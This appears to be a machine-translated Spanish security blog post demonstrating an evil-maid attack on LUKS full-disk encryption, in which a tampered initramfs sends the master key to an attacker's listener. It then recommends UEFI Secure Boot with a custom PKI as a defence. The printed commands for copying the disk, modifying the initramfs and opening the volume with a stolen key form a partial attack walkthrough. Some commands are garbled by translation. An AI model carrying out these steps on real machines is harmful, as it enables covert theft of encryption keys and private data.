El cifrado de disco está diseñado para proteger los datos en su computadora del acceso físico no autorizado. Existe una idea errónea generalizada de que el cifrado de disco realmente hace frente a esta tarea, y los escenarios en los que esto no es tan exótico y poco realista. Este artículo muestra que extraer la clave maestra de un volumen
LUKS cifrado es fácilmente factible en la práctica, y se propone un método de protección (hace mucho tiempo).
La esencia del problema
También deberíamos detenernos en el propósito del cifrado de disco. De hecho, cuando el acceso físico es imposible y el sistema en ejecución posee los datos, no hay problemas. Puede haber problemas con la seguridad del sistema en sí, pero el cifrado de disco no ayudará aquí. El cifrado de disco debe proteger los datos cuando una persona curiosa tiene la oportunidad de acceder a los discos sin pasar por el sistema, por ejemplo, conectando físicamente los discos a su sistema o cargando su sistema operativo en una computadora inspeccionada.
Un escenario de acceso físico es el único escenario en el que el cifrado de disco tiene sentido.El problema es que el atacante puede intervenir silenciosamente en la cadena de arranque del sistema operativo y obligar al sistema a emitir claves de cifrado tan pronto como las reciba la próxima vez que se inicie.
Tal ataque requiere solo un acto de acceso a la computadora: los datos del disco pueden copiarse junto con la sustitución del circuito de arranque y luego descifrarlos hasta que aparezca la clave. En comparación con los discos sin cifrar, el único inconveniente es que debe cuidar cómo se transmite la clave y esperar a que comience.
A continuación, pasamos a demostrar dicha técnica en la práctica. Puede resultar que para su implementación el atacante necesitará menos esfuerzo que el propietario del sistema para configurar algunos de sus métodos exóticos de desbloqueo de discos (por ejemplo, de forma remota).
Demostración práctica
Realizaré una demostración sobre el ejemplo de una máquina virtual con Debian 9, en la que se habilitó el cifrado de disco durante la instalación del sistema.
La instalación de Debian 9 con cifrado crea una partición de arranque y una partición con LVM cifrado. Captura de pantalla del sistema instalado que solicita la contraseña de descifrado para mayor claridad:

Todo está listo, puedes continuar. Apague el auto, copie el disco. En mi caso, se ve así:
[root @ dt1 ~] # virsh destruye debian9-boothack
El dominio debian9-boothack se destruye
[root @ dt1 ~] # cp -v /var/lib/libvirt/images/debian9-boothack.qcow2 ~
'/var/lib/libvirt/images/debian9-boothack.qcow2' -> '/root/debian9-boothack.qcow2'
Montar el disco de la máquina, extraer el initramdrive:
[root @ dt1 ~] # mkdir / invitado
[root @ dt1 ~] # guestmount -a /var/lib/libvirt/images/debian9-boothack.qcow2 -m / dev / sda1 / guest
[root @ dt1 ~] # cp -v /guest/initrd.img-4.9.0-9-amd64 ~ usuario / tmp
'/guest/initrd.img-4.9.0-9-amd64' -> '/home/user/tmp/initrd.img-4.9.0-9-amd64'
Desempaquete initramdrive:
[usuario @ dt1 tmp] $ mkdir desempaquetado
[usuario @ dt1 tmp] $ cd desempaquetado /
[usuario @ dt1 desempaquetado] $ zcat ../initrd.img-4.9.0-9-amd64 | cpio -idm
[usuario @ dt1 desempaquetado] $ ls
bin conf etc init lib lib64 ejecutar sbin scripts
Hecho, puedes editar initramdrive. Sabiendo que la máquina tiene una conexión de red permanente, quiero organizar el envío cifrado de la clave maestra después de abrir los discos. Para hacer esto, necesitaré:
- Utilidad para envío cifrado a través de la red . Agréguelo a
/sbin
- Script de shell para extracción y envío de claves . Enviado a
/scripts/local-top
y agregado a la lista /scripts/local-top/ORDER
después de cryptoroot
. - El script de procesamiento de eventos udhcpc nativo que falta para comenzar a autoajustar la red directamente en ramdrive, usando las herramientas integradas. El lugar que le corresponde es
/etc/udhcpc/default.script
El ejecutable secsend está construido estáticamente para eliminar las dependencias de cualquier biblioteca. En condiciones normales, el ensamblaje produce un archivo de salida de 2.7 MB de tamaño, que es bastante notable en comparación con el tamaño del ramdrive: 62 megabytes en forma desempaquetada y 20 en forma comprimida. Sin embargo, cuando se compilan todas las bibliotecas y el ejecutable con un mínimo de musl libc, el tamaño del archivo de salida es ~ 250 KB y 120 KB después de la compresión UPX. Secsend simplemente lee la entrada estándar, la cifra con cryptobox de libsodium usando la clave pública especificada Curve25519 y envía datos a la dirección especificada a través de TCP. Su uso no tiene principios para el propósito principal de la demostración, sino que muestra que el atacante es esencialmente ilimitado: puede ejecutar código que hace lo que el atacante quiere y cómo lo quiere.
Después de agregar estos tres archivos y editar otro, puede empacar todo y devolver el archivo modificado a su lugar:
[usuario @ dt1 desempaquetado] $ find. El | cpio -o -c | gzip -9> ../initrd.img-4.9.0-9-amd64
125736 bloques
[usuario @ dt1 desempaquetado] $ sudo cp -v ../initrd.img-4.9.0-9-amd64 / invitado
'../initrd.img-4.9.0-9-amd64' -> '/guest/initrd.img-4.9.0-9-amd64'
[usuario @ dt1 desempaquetado] $ sudo guestunmount / guest
Se necesitará algún servidor para recibir una clave maestra cifrada, como
esta (Python 3.5.3+). Al lanzarlo con la parte secreta del par de claves, esperamos hasta que la víctima condicional encienda su computadora:

Cuando enciende una máquina virtual con un disco encriptado, todo se ve como siempre, nada ha cambiado:

Pero en el lado del oyente de conexión, apareció una clave maestra secreta:

A partir de este momento, la máquina virtual con datos y su usuario con conocimiento de la contraseña de cifrado ya no son de interés para el atacante. Destaco que cambiar una frase de contraseña no cambia la clave maestra con la que se cifra todo el volumen. Incluso si un cambio de frase de contraseña de alguna manera preocupa entre hacer una copia y enviar la clave, esto no es un obstáculo. Usaremos la llave maestra para abrir el volumen. Para hacer esto, convertimos su entrada de registro de 16 decimales a un archivo binario:
[root @ dt1 ~] # echo 'fa0c53 *********** 4 4 c' | xxd -r -p> master.key
Montar discos con una copia:
[root @ dt1 ~] # modprobe nbd max_part = 8
[root @ dt1 ~] # qemu-nbd --connect = / dev / nbd0 /root/debian9-boothack.qcow2
[root @ dt1 ~] # ls / dev / nbd0 *
/ dev / nbd0 / dev / nbd0p1 / dev / nbd0p2 / dev / nbd0p5
[root @ dt1 ~] # archivo -s / dev / nbd0p5
/ dev / nbd0p5: archivo encriptado LUKS, ver 1 [aes, xts-plain64, sha256] UUID: fb732477-ef98-40b5-86a2-8526c349f031
[root @ dt1 ~] # cryptsetup --master-key-file = master.key luksOpen / dev / nbd0p5 crackeddisk
[root @ dt1 ~] # pvs
PV VG Fmt Attr PSize PFree
/ dev / mapper / crackeddisk debian9-boothack-vg lvm2 a-- 19.75g 0
/ dev / sda3 dt1 lvm2 a-- <215.01g 8.00m
[root @ dt1 ~] # lvs
LV VG Attr LSize Pool Origen Datos% Meta% Move Log Cpy% Sync Convert
raíz debian9-boothack-vg -wi-a ----- 18.75g
intercambio_1 debian9-boothack-vg -wi-a ----- 1.00g
raíz dt1 -wi-ao ---- 215.00g
[root @ dt1 ~] # mkdir / hackedroot
[root @ dt1 ~] # mount / dev / mapper / debian9 - boothack - vg-root / hackedroot /
[root @ dt1 ~] # ls / hackedroot /
bin boot dev etc inicio initrd.img initrd.img.old lib lib64 perdido + encontrado medios mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
[root @ dt1 ~] # cat / hackedroot / etc / hostname
debian9-boothack
Los datos se recuperan.
Medidas de protección
Como puede concluir, la raíz del problema es el lanzamiento de código no confiable. Aquí hay una breve descripción de las técnicas a considerar en el contexto de este problema.
Cifrado de partición de arranque
Algunas distribuciones también ofrecen esta característica durante la instalación (por ejemplo, OpenSuSE). En este caso, la partición de arranque es descifrada por el gestor de arranque, y luego el núcleo y initramdrive se cargan desde ella. Este enfoque no tiene mucho sentido por las siguientes razones:
- El problema más importante con la falsificación de código aún permanece abierto. Solo ahora será necesario reemplazar el gestor de arranque.
- Para una partición de arranque, la integridad de los datos no es más importante, sino la integridad de los datos. LUKS Basic Encryption no proporciona tal garantía. Algunos beneficios aquí radican solo en el hecho de que es difícil formar una sustitución significativa en una partición cifrada de este tipo.
- Y el cifrado LUKS2 con comprobación de integridad (integridad-dm) tampoco protege contra la interferencia, ya que no ofrece garantías contra ataques relacionados con la repetición del sector. Por ejemplo, al tener un volcado de dicha partición y una configuración del cargador de arranque, aún puede tomar y revertir el núcleo al estado copiado anteriormente. Esto no ofrece ventajas específicamente en el tema de la extracción de claves (excepto si el núcleo antiguo era vulnerable y se puede usar de alguna manera), es más bien un argumento a favor de la inutilidad de cifrar la partición de arranque.
Usar TPM para almacenar una clave de cifrado y validar un entorno de arranque seguro
TPM es esencialmente un procesador criptográfico que actúa como un enclave seguro o tarjeta inteligente en el sistema. Los datos secretos cifrados con él solo se pueden descifrar usándolos y solo en sus condiciones, cuando convergen los valores de
PCR del sistema, que dependen del estado de la plataforma y del código que se ejecuta en ella. La tecnología es bastante prometedora y puede permitirle implementar un cifrado seguro en el sistema sin requerir una clave (por ejemplo, ingresando con una huella digital o métodos de autenticación no relacionados con el cifrado). Idealmente, debería funcionar junto con el arranque seguro UEFI, prohibiendo el descifrado cuando la configuración no converge.
Sin embargo, en Linux, el soporte TPM todavía está en su infancia. El gestor de arranque TrustedGRUB2 (un gestor de arranque adaptado para trabajar con TPM) no es compatible con UEFI y todo el punto de la idea desaparece de esto. Además, la presencia de un TPM 2.0 en funcionamiento solo ahora comienza a aparecer en el hardware, a menudo junto con las actualizaciones del BIOS. La mayoría de las placas base no tienen un módulo TPM discreto; en cambio, TPM es un software implementado dentro de Intel
ME . Por todas estas razones, todavía no considero que dicha configuración funcione y sea adecuada para un uso generalizado.
Usando UEFI Secure Boot para cubrir completamente la cadena de arranque con una firma electrónica
Existen distribuciones (Fedora, OpenSuSE) y soluciones únicas que le permiten utilizar el Arranque seguro en Linux. Sin embargo, las soluciones en caja a menudo no proporcionan integridad de código en la cadena de carga. Están diseñados principalmente para garantizar que Linux simplemente se inicie cuando Secure Boot esté habilitado. Por lo general, solo usé EFI shim, firmado por un certificado de Microsoft, que luego ejecuta cualquier cosa. En consecuencia, cuando se utiliza la certificación externa, es simplemente imposible cubrir la firma de una unidad de disco que se genera directamente en el sistema instalado.
Hay artículos en el centro que sugieren usar su propia
PKI para firmar código. Esto le permite firmar todo lo que necesita por su cuenta y así cubrir toda la cadena UEFI → gestor de arranque → kernel e intramdrive.
- Taming UEFI SecureBoot : el primer artículo sobre el centro sobre este tema, muy detallado.
- Usamos Secure Boot en Linux al máximo : está especialmente bien escrito aquí por qué Secure Boot con certificados de Microsoft instalados es equivalente a su ausencia.
El resultado requerido se obtiene en el segundo artículo. Una firma intramdrive se logra al fusionar el ramdrive y el kernel en una aplicación EFI, sin usar un cargador, y UEFI verifica directamente la firma inmediatamente a granel. Ambos manuales requieren mucho trabajo manual en cada sistema protegido.
Solución asequible
Se me ocurrió un
enfoque para la implementación completa de Arranque seguro, compatible con el esquema de arranque generalmente aceptado y que no requiere una intervención seria en el sistema: un cargador de arranque separado, una unidad de disco separada, un núcleo separado. UEFI solo verifica la firma del gestor de arranque GRUB2, el gestor de arranque tiene una configuración cableada con una clave para verificar la firma y la contraseña del administrador, y luego comprueba el núcleo y la memoria RAM. El gestor de arranque firmado se instala en paralelo con el antiguo y, si es necesario, sigue siendo posible iniciar de la forma habitual deshabilitando el Arranque seguro. Por supuesto, esta función debe ser cerrada por la contraseña del administrador en el menú de configuración de UEFI.
Decidí automatizar el proceso de implementación de Arranque seguro con mi propia PKI y hacerlo lo más simple e independiente de la distribución posible. El resultado es un conjunto de la receta y las utilidades de Makefile:
https://github.com/Snawoot/linux-secureboot-kit . Para debian, ubuntu, fedora y centos, todo el proceso requiere solo unos pocos comandos.
Específicamente, con el ejemplo de Debian 9, la instalación se ve más o menos así (suponiendo que UEFI ya está en modo de configuración):
apt update && apt install -y unzip make sbsigntool wget https://gist.github.com/Snawoot/1937d5bc76d7b0a29f2039aa679c0449/raw/74a63c99be07ec93cfc1df47d2e98e54920c97b7/efitools-1.9.2-static.tar.xz && \ tar xpJf efitools-1.9.2-static.tar.xz -C / wget https://github.com/Snawoot/linux-secureboot-kit/archive/master.zip unzip master.zip cd linux-secureboot-kit-master/ make debian9-install
Aquí, todos los comandos se ingresan en nombre del superusuario. Como resultado, solo queda verificar que el Arranque seguro esté habilitado en el menú del BIOS y proteger la configuración del BIOS con una contraseña de administrador.
Y aquí está el intento de reemplazar el ramdrive en tal instalación:

Reemplazo del cargador de arranque (la apariencia depende de la plataforma):

Resumen
El cifrado de disco por sí solo no es suficiente para garantizar la privacidad de los datos. Firmar toda la cadena de arranque con UEFI Secure Boot y GPG le permite lograr un buen nivel de protección contra la falsificación de código ejecutable, siempre que el operador de la computadora pueda reconocer un reinicio o una suplantación de la placa del sistema, o incluso la computadora completa. De lo contrario, es extremadamente difícil ofrecer métodos de protección adecuados si el usuario está listo para ingresar la contraseña / transferir la clave a cualquier máquina que accidentalmente termine en la mesa o en la sala del servidor.